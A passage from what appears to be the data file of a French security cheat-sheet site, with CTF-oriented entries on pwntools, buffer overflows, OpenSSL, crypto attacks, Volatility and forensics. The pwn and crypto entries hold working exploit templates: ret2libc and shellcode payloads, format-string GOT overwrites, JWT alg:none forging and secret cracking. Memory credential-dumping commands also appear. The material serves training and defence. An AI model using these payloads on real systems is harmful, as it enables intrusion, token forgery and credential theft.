avec un offset de réception fiable.","x":"from pwn import *\n\ncontext.binary = elf = ELF('./chall')\ncontext.log_level = 'debug'\n\ndef start():\n    if args.REMOTE:\n        return remote('target.test', 1337)\n    return process(elf.path)\n\nio = start()\nio.recvuntil(b'> ')\nio.sendline(b'1')\nio.interactive()\n\npython3 exploit.py                # local\npython3 exploit.py REMOTE         # remote\npython3 exploit.py GDB            # attacher gdb\n\nio.recv(1024)\nio.recvuntil(b'password: ')\nio.recvline()\nio.sendafter(b'> ', b'admin')\nio.sendlineafter(b'> ', b'admin')\nio.send(b'raw')\nio.sendline(b'line')\nio.interactive()\nio.close()\n\n# Générer un motif cyclique\npayload = cyclic(200)\nio.sendline(payload)\n\n# Après crash, retrouver l'offset\noffset = cyclic_find(0x6161616c)\nprint(offset)\n\n# Padding jusqu'à RIP\npayload = b'A' * offset\npayload += p64(elf.symbols['win'])\nio.sendline(payload)\n\nelf = ELF('./chall')\nlibc = ELF('./libc.so.6')\n\nprint(hex(elf.symbols['main']))\nprint(hex(elf.got['puts']))\nprint(hex(elf.plt['puts']))\n\nrop = ROP(elf)\nrop.puts(elf.got['puts'])\nrop.main()\nio.sendline(flat({offset: rop.chain()}))\n\n# Fuite puis calcul de la base libc\nleak = u64(io.recvline().strip().ljust(8, b'\\x00'))\nlibc.address = leak - libc.symbols['puts']\n\n# one_gadget\nfrom pwn import *\nlibc = ELF('./libc.so.6')\none = 0xE3B31  # ./one_gadget libc.so.6\npayload = flat({offset: libc.address + one})\n\n# Payload execve(\"/bin/sh\", 0, 0)\nshellcode = asm(shellcraft.sh())\npayload = shellcode\npayload = shellcode.ljust(offset, b'\\x90') + p64(buffer_addr)\n\n# Contexte 32/64 bits\ncontext.arch = 'amd64'\ncontext.os = 'linux'\nprint(disasm(asm('mov rax, 60; xor rdi, rdi; syscall')))\n\n# Offset de la chaîne sur la stack\noffset = 6\n\n# Écrire une valeur arbitraire (pwntools gère l'alignement)\npayload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['system']})\nio.sendline(payload)\n\n# Attacher gdb au process\nio = process(elf.path)\ngdb.attach(io, gdbscript='b *main+42\\nc')\n\n# Core dump automatique\ncontext.delete_corefiles = True"},{"s":"buffer-overflow","t":"Buffer overflow","d":"Exploiter un débordement de pile : offset, ret2win, ret2libc et contournement des protections.","c":"pwn","k":"technique","g":["pwn","ret2libc","rop","aslr","shellcode","stack overflow","ret2win","rop chain"],"h":["Reconnaître les protections","32 bits : ret2win","64 bits : gadget + win","ret2libc","Shellcode sur la stack","Canary"],"b":"Reconnaître les protections Protection Effet Contournement --- --- --- NX Stack non exécutable ROP / ret2libc PIE Adresses randomisées Fuite d'adresse Canary Détecte l'écrasement Fuite / bruteforce RELRO full GOT en lecture seule Écrire ailleurs ASLR Base libc aléatoire Fuite libc 32 bits : ret2win 64 bits : gadget + win ret2libc Shellcode sur la stack Nécessite NX désactivé ( -z execstack ). Canary [!TIP] Si le binaire est PIE, commence par une fuite ( printf(\"%p\") , puts sur une fonction, format string). Sans fuite, les adresses absolues sont inutilisables. [!WARNING] Les offsets dépendent du compilateur, de la libc et de l'environnement. Ne réutilise jamais un exploit sans recalibrer l'offset dans la même image d'exécution. Un exploit instable peut fonctionner 9 fois sur 10.","x":"checksec --file=./chall\n\nfrom pwn import *\n\ncontext.binary = elf = ELF('./chall')\nio = process(elf.path)\n\noffset = 44\npayload = b'A' * offset\npayload += p32(elf.symbols['win'])\nio.sendline(payload)\nio.interactive()\n\n# Trouver l'offset avec un motif\npython3 -c 'from pwn import *; print(cyclic(200))'\n# Dans gdb après crash : cyclic -l 0x6161616c\n\nfrom pwn import *\n\ncontext.binary = elf = ELF('./chall')\nrop = ROP(elf)\noffset = 40\n\n# Sur x86_64, l'argument doit passer par RDI\npop_rdi = rop.find_gadget(['pop rdi', 'ret']).address\nret = rop.find_gadget(['ret']).address  # alignement de la stack\n\npayload = flat({\n    offset: [ret, pop_rdi, 0x0, elf.symbols['win']]\n})\n\nfrom pwn import *\n\ncontext.binary = elf = ELF('./chall')\nlibc = ELF('./libc.so.6')\nrop = ROP(elf)\n\n# 1. Fuite de puts@GOT\nrop.puts(elf.got['puts'])\nrop.main()\nio.sendline(flat({offset: rop.chain()}))\n\nleak = u64(io.recvline().strip().ljust(8, b'\\x00'))\nlibc.address = leak - libc.symbols['puts']\nlog.success(f'libc base: {hex(libc.address)}')\n\n# 2. Appel system(\"/bin/sh\")\nrop2 = ROP(libc)\nrop2.system(next(libc.search(b'/bin/sh\\x00')))\nio.sendline(flat({offset: rop2.chain()}))\nio.interactive()\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\nshellcode = asm(shellcraft.sh())\nbuffer = 0x7fffffffe000  # adresse leakée\n\npayload = flat({\n    0: shellcode,\n    offset: p64(buffer)\n})\n\n# Fuite du canary via un format string ou une lecture hors bornes\ncanary = u64(io.recv(8)) - 0x0a\n\npayload = b'A' * offset\npayload += p64(canary)\npayload += b'B' * 8\npayload += p64(elf.symbols['win'])"},{"s":"openssl","t":"OpenSSL","d":"Générer des clés, inspecter des certificats, chiffrer et tester des connexions TLS en ligne de commande.","c":"crypto","k":"tool","g":["tls","certificates","rsa","encryption","cli","openssl s_client","x509"],"h":["Inspecter un certificat TLS","Générer des clés","Chiffrer et déchiffrer","Hashes et signatures","PKCS#12 et keystores","Tester un serveur"],"b":"Inspecter un certificat TLS Générer des clés Chiffrer et déchiffrer Hashes et signatures PKCS#12 et keystores Tester un serveur [!TIP] s client affiche la chaîne envoyée par le serveur, pas seulement le certificat final. Pour un problème de trust, copie la chaîne ( -showcerts ) et vérifie chaque maillon avec openssl verify . [!WARNING] Les commandes enc avec un mot de passe en argument ( -pass pass:... ) exposent le secret dans l'historique et ps . Utilise -pass stdin ou un fichier avec permissions restreintes.","x":"# Chaîne complète\nopenssl s_client -connect example.com:443 -servername example.com </dev/null\n\n# Certificat lisible\nopenssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null \\\n  | openssl x509 -noout -text\n\n# Dates, sujet, émetteur, SAN\nopenssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null \\\n  | openssl x509 -noout -subject -issuer -dates -ext subjectAltName\n\n# Vérifier un fichier\nopenssl x509 -in cert.pem -noout -text\nopenssl verify -CAfile ca.pem cert.pem\n\n# Convertir DER → PEM\nopenssl x509 -in cert.der -inform der -out cert.pem\n\n# Clé RSA 4096\nopenssl genrsa -out key.pem 4096\n\n# Clé EC P-256\nopenssl ecparam -name prime256v1 -genkey -noout -out key.pem\n\n# CSR\nopenssl req -new -key key.pem -out request.csr \\\n  -subj \"/C=FR/ST=IDF/L=Paris/O=Example/CN=example.com\"\n\n# Certificat auto-signé (lab)\nopenssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n  -keyout key.pem -out cert.pem -subj \"/CN=lab.local\"\n\n# AES-256-CBC avec passphrase\nopenssl enc -aes-256-cbc -pbkdf2 -salt -in clear.txt -out secret.enc\nopenssl enc -d -aes-256-cbc -pbkdf2 -in secret.enc -out clear.txt\n\n# Base64\nopenssl base64 -in file.bin -out file.b64\nopenssl base64 -d -in file.b64 -out file.bin\n\n# Chiffrement asymétrique (petits fichiers)\nopenssl pkeyutl -encrypt -pubin -inkey public.pem -in clear.txt -out secret.enc\nopenssl pkeyutl -decrypt -inkey private.pem -in secret.enc -out clear.txt\n\n# Empreintes\nopenssl dgst -sha256 file.bin\nopenssl dgst -sha512 file.bin\n\n# HMAC\nopenssl dgst -sha256 -hmac 'secret' file.bin\n\n# Signature et vérification\nopenssl dgst -sha256 -sign key.pem -out sig.bin file.bin\nopenssl dgst -sha256 -verify public.pem -signature sig.bin file.bin\n\n# PEM → PFX\nopenssl pkcs12 -export -out bundle.pfx -inkey key.pem -in cert.pem -certfile ca.pem\n\n# PFX → PEM\nopenssl pkcs12 -in bundle.pfx -nodes -out bundle.pem\n\n# Extraire la clé et le certificat\nopenssl pkcs12 -in bundle.pfx -nocerts -nodes -out key.pem\nopenssl pkcs12 -in bundle.pfx -clcerts -nokeys -out cert.pem\n\n# Forcer TLS 1.2 et une cipher précise\nopenssl s_client -connect example.com:443 -tls1_2 -cipher 'ECDHE-RSA-AES256-GCM-SHA384'\n\n# Vérifier SNI et ALPN\nopenssl s_client -connect 10.10.10.10:443 -servername example.com -alpn h2\n\n# Énumérer les ciphers (nmap)\nnmap -p 443 --script ssl-enum-ciphers example.com"},{"s":"crypto-attacks","t":"Attaques crypto","d":"Reconnaître un schéma faible et l'attaquer : XOR, RSA, ECB, padding oracle et JWT.","c":"crypto","k":"technique","g":["rsa","xor","ecb","padding-oracle","jwt","cryptography attacks","rsa attacks"],"h":["Identifier le schéma","XOR","RSA","ECB","CBC et padding oracle","JWT","PRNG et IV","Outils"],"b":"Identifier le schéma Indice Piste --- --- Blocs de 8/16 octets répétés ECB Clé courte / répétée XOR repeating-key n petit ou facteurs proches RSA faible Message identique + IV réutilisé CBC IV reuse Erreur de padding différente Padding oracle JWT alg:none / clé publique JWT confusion XOR RSA Attaque Condition --- --- Small n Factorisation facile Small e m^e [!TIP] Un oracle qui chiffre prefix + secret avec AES-ECB permet de retrouver le secret octet par octet. C'est l'attaque ECB byte-at-a-time : fais varier le préfixe pour aligner l'octet inconnu en fin de bloc. CBC et padding oracle JWT PRNG et IV - Vérifie la réutilisation d'IV en CBC : deux messages avec le même IV révèlent P1 XOR P2 . - Un PRNG basé sur le temps ( time() , rand() ) se prédit avec une seed proche. - Les tokens de reset générés avec random Python ne sont pas cryptographiques. Outils [!WARNING] Les attaques crypto sont souvent détectables (nombre de requêtes, timing). Sur un oracle en ligne, limite le bruteforce, mets en cache les résultats et documente la faisabilité plutôt que d'extraire des données réelles.","x":"# Taille et fingerprints\nopenssl x509 -in cert.pem -noout -text\npython3 -c \"import sys; print(len(open(sys.argv[1],'rb').read()))\" cipher.bin\n\n# Entropie (CyberChef : Entropy)\nbinwalk -E suspicious.bin\n\nfrom pwn import xor\n\ncipher = bytes.fromhex('...')\nkey = b'KEY'\nprint(xor(cipher, key))\n\n# Clé de 1 octet : tester toutes les valeurs\nfor k in range(256):\n    out = xor(cipher, bytes([k]))\n    if b'flag' in out or b'CTF' in out:\n        print(k, out)\n\nfrom pwn import xor\nfrom string import printable\n\ndef score(data):\n    return sum(chr(c) in printable or chr(c) in '\\n\\t' for c in data)\n\n# Retrouver la clé répétée octet par octet, pour chaque longueur candidate\nbest = None\nfor size in range(1, 33):\n    key = bytes(\n        max(range(256), key=lambda k: score(xor(cipher[i::size], bytes([k]))))\n        for i in range(size)\n    )\n    plain = xor(cipher, key)\n    if best is None or score(plain) > best[0]:\n        best = (score(plain), key, plain)\n\nprint(best[1], best[2])\n\n# Factoriser un n faible\npython3 -m pip install pycryptodome gmpy2\n# RsaCtfTool automatise les attaques classiques\nRsaCtfTool --publickey pub.pem --uncipher cipher.bin\n\n# n factorisable (petit ou facteurs proches)\nfrom sympy import factorint\nfactors = factorint(n)\np, q = list(factors)\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n\n# e = 3 et message petit sans padding\nimport gmpy2\nm, exact = gmpy2.iroot(c, 3)\nif exact:\n    print(bytes.fromhex(hex(int(m))[2:]))\n\n# Détecter ECB : blocs identiques\nblocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]\nprint(len(blocks), len(set(blocks)), 'blocs uniques')\n\n# Byte-at-a-time : envoyer des préfixes choisis\nfor pad in range(16):\n    payload = b'A' * pad\n    # comparer les blocs avec un oracle d'encryption\n\n# Padding oracle : modifier le bloc précédent pour contrôler le padding\n# P_i = D(C_i) XOR C_{i-1}\n# Pour obtenir un octet, brute force C_{i-1}[j] jusqu'à un padding valide\n\n# Outils\npip install paddingoracle\n# Ou implémentation maison : 256 essais par octet, détecter \"invalid padding\"\n\n# Décoder sans vérifier\ncut -d. -f1,2 token | tr '.' '\\n' | base64 -d 2>/dev/null\n\n# alg:none\npython3 - <<'PY'\nimport base64, json\nenc = lambda d: base64.urlsafe_b64encode(json.dumps(d, separators=(',',':')).encode()).rstrip(b'=').decode()\nprint(enc({\"alg\":\"none\",\"typ\":\"JWT\"}) + '.' + enc({\"sub\":\"admin\",\"role\":\"admin\"}) + '.')\nPY\n\n# HS256 avec clé publique connue\n# Récupérer la clé publique, l'utiliser comme secret HMAC\n\n# Crack du secret HS256\nhashcat -m 16500 jwt.txt rockyou.txt\n\n# RsaCtfTool\nRsaCtfTool --publickey key.pub --attack all\n\n# FeatherDuster\npython3 featherduster.py --input cipher.bin\n\n# CyberChef : XOR, RSA, AES, JWT\n# hashcat : modes 16500 (JWT), 13100/18200 (Kerberos)"},{"s":"volatility3","t":"Volatility 3","d":"Analyser une image mémoire : processus, connexions, injections et credentials.","c":"forensics","k":"tool","g":["memory","dfir","malware","windows","volatility","volatility","memory forensics"],"h":["Préparer","Processus","Réseau","Injections et code malveillant","Credentials","Fichiers et registre","Timeline","Linux"],"b":"Préparer Processus Réseau Injections et code malveillant Credentials Fichiers et registre Timeline Linux [!TIP] Commence toujours par info , pslist , pstree , cmdline et netscan . Cherche les processus dont le parent est explorer.exe mais dont le binaire est dans Temp , les noms en svch0st , et les connexions sortantes vers des IP inconnues. [!WARNING] Une image mémoire est une donnée sensible : elle contient des credentials, des cookies et des données personnelles. Hash l'image avant analyse, travaille sur une copie, et ne partage jamais l'image brute dans un rapport.","x":"pip install volatility3\nvol -h\nvol -f memory.raw windows.info\n\n# Identifier le profil (Windows)\nvol -f memory.raw windows.info.Info\n\n# Lister les plugins disponibles\nvol -f memory.raw --help | grep windows\n\n# Liste des processus\nvol -f memory.raw windows.pslist\n\n# Arbre des processus\nvol -f memory.raw windows.pstree\n\n# Lignes de commande\nvol -f memory.raw windows.cmdline\n\n# Processus cachés / terminés\nvol -f memory.raw windows.psscan\nvol -f memory.raw windows.psxview\n\nvol -f memory.raw windows.netscan\nvol -f memory.raw windows.netstat\n\n# Régions mémoire suspectes\nvol -f memory.raw windows.malfind\n\n# DLLs par processus\nvol -f memory.raw windows.dlllist --pid 1234\n\n# Handles ouverts\nvol -f memory.raw windows.handles --pid 1234\n\n# VAD et régions mémoire\nvol -f memory.raw windows.vadinfo --pid 1234\n\n# Hashs SAM (si l'image contient les ruches)\nvol -f memory.raw windows.hashdump\nvol -f memory.raw windows.lsadump\n\n# Secrets LSA\nvol -f memory.raw windows.secrets\n\n# Chercher un fichier\nvol -f memory.raw windows.filescan | grep -i \"flag\\|secret\\|\\.docx\"\n\n# Extraire par offset\nvol -f memory.raw windows.dumpfiles --virtaddr 0x...\n\n# Ruches et clés\nvol -f memory.raw windows.hivelist\nvol -f memory.raw windows.printkey --hive-offset 0x... --key \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\nvol -f memory.raw windows.timeliner\nvol -f memory.raw windows.userassist\nvol -f memory.raw windows.shimcache\nvol -f memory.raw windows.amcache\n\nvol -f memory.raw linux.pslist\nvol -f memory.raw linux.pstree\nvol -f memory.raw linux.bash\nvol -f memory.raw linux.sockstat\nvol -f memory.raw linux.malfind"},{"s":"forensics","t":"Forensics","d":"Acquérir, préserver et analyser les artefacts disque, mémoire et journaux d'un incident.","c":"forensics","k":"technique","g":["dfir","timeline","artifacts","disk","incident-response","digital forensics","incident response"],"h":["Acquérir sans altérer","Analyse disque","Artefacts Windows","Artefacts Linux","Fichiers et métadonnées","Chaîne de custody"],"b":"Acquérir sans altérer [!TIP] Note l'heure, l'opérateur, le hash et le numéro de série avant toute manipulation. Une image non hashée n'a aucune valeur en investigation. Analyse disque Artefacts Windows Artefact Chemin --- --- Prefetch C:\\Windows\\Prefetch\\ .pf Amcache C:\\Windows\\AppCompat\\Programs\\Amcache.hve Shimcache SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache MFT $MFT USN Journal $Extend\\$UsnJrnl:$J Journaux C:\\Windows\\System32\\winevt\\Logs\\ .evtx Artefacts Linux Fichiers et métadonnées Chaîne de custody [!WARNING] Ne monte jamais une image en écriture et ne lance pas d'antivirus sur les preuves : il modifie les timestamps. Sur un poste compromis, isole le réseau avant la collecte mémoire, sinon les malwares peuvent effacer leurs traces.","x":"# Image disque brute avec hash\nsudo dd if=/dev/sdb of=/evidence/disk.img bs=4M status=progress\nsha256sum /dev/sdb | tee /evidence/disk.sha256\nsha256sum /evidence/disk.img\n\n# Alternative avec EWF (compression + métadonnées)\newfacquire /dev/sdb -t /evidence/disk -f encase6 -c deflate\n\n# Copie logique d'un dossier\nrsync -aHAX --numeric-ids /mnt/evidence/ /evidence/copy/\n\n# Partitions et systèmes de fichiers\nmmls disk.img\nfsstat -o 2048 disk.img\n\n# Lister les fichiers (y compris supprimés)\nfls -r -p -o 2048 disk.img > files.txt\n\n# Extraire un fichier par inode\nicat -o 2048 disk.img 12345 > extracted.bin\n\n# Monter en lecture seule\nsudo mount -o ro,loop,offset=$((2048*512)) disk.img /mnt/evidence\n\n# Timeline MACB\nfls -r -m / -o 2048 disk.img > body.txt\nmactime -b body.txt -d -z UTC > timeline.csv\n\n# Timeline complète avec Plaso\nlog2timeline.py --storage-file timeline.plaso disk.img\npsort.py -o timeline.csv timeline.plaso\n\n# Registre : ruches et clés d'exécution\nregipy-dump -f NTUSER.DAT -o out.json\nregipy-run -f SYSTEM\n\n# Event logs\nevtx_dump Security.evtx > security.xml\nchainsaw hunt evtx/ --rules sigma/ --mapping mappings/sigma-event-logs-all.yml\n\n# Prefetch / Amcache / Shimcache\npecmd.exe /d C:\\Windows\\Prefetch\\*.pf\n\n# Authentification et commandes\ngrep -iE \"accepted|failed|invalid\" /var/log/auth.log\nlast -a\nlastlog\ncat ~/.bash_history\n\n# Persistance\ncrontab -l\nsystemctl list-unit-files --state=enabled\nls -la /etc/cron.* /etc/systemd/system /etc/rc.local\n\n# Connexions et processus\nss -tulpn\nps auxf\njournalctl --since \"2026-11-01\" --no-pager\n\n# Type réel et métadonnées\nfile suspicious\nexiftool suspicious\nstrings -n 8 suspicious | head -40\n\n# Carving\nforemost -i disk.img -o carved/\nscalpel disk.img -o carved/\nphotorec disk.img\n\n# Recherche de secrets\ngrep -rInE \"password|token|BEGIN (RSA|OPENSSH)\" /mnt/evidence 2>/dev/null\n\n1. Identifier la scène et les supports\n2. Photographier / documenter avant saisie\n3. Hacher et dupliquer (write-blocker si possible)\n4. Travailler uniquement sur la copie\n5. Journaliser chaque action (qui, quoi, quand, hash)\n6. Stocker les preuves chiffrées et scellées"}],"cats":{"recon":{"label":"Reconnaissance","code":"RCN"},"linux":{"label":"Linux","code":"LNX"},"network":{"label":"Réseau","code":"NET"},"web":{"label":"Web","code":"WEB"},"ad":{"label":"Active Directory","code":"AD"},"exploit":{"label":"Exploitation","code":"EXP"},"post":{"label":"Post-exploitation","code":"PST"},"cracking":{"label":"Cracking","code":"CRK"},"reverse":{"label":"Reverse engineering","code":"REV"},"pwn":{"label":"Binary exploitation","code":"PWN"},"crypto":{"label":"Cryptographie","code":"CRY"},"forensics":{"label":"Forensics","code":"FOR"}}}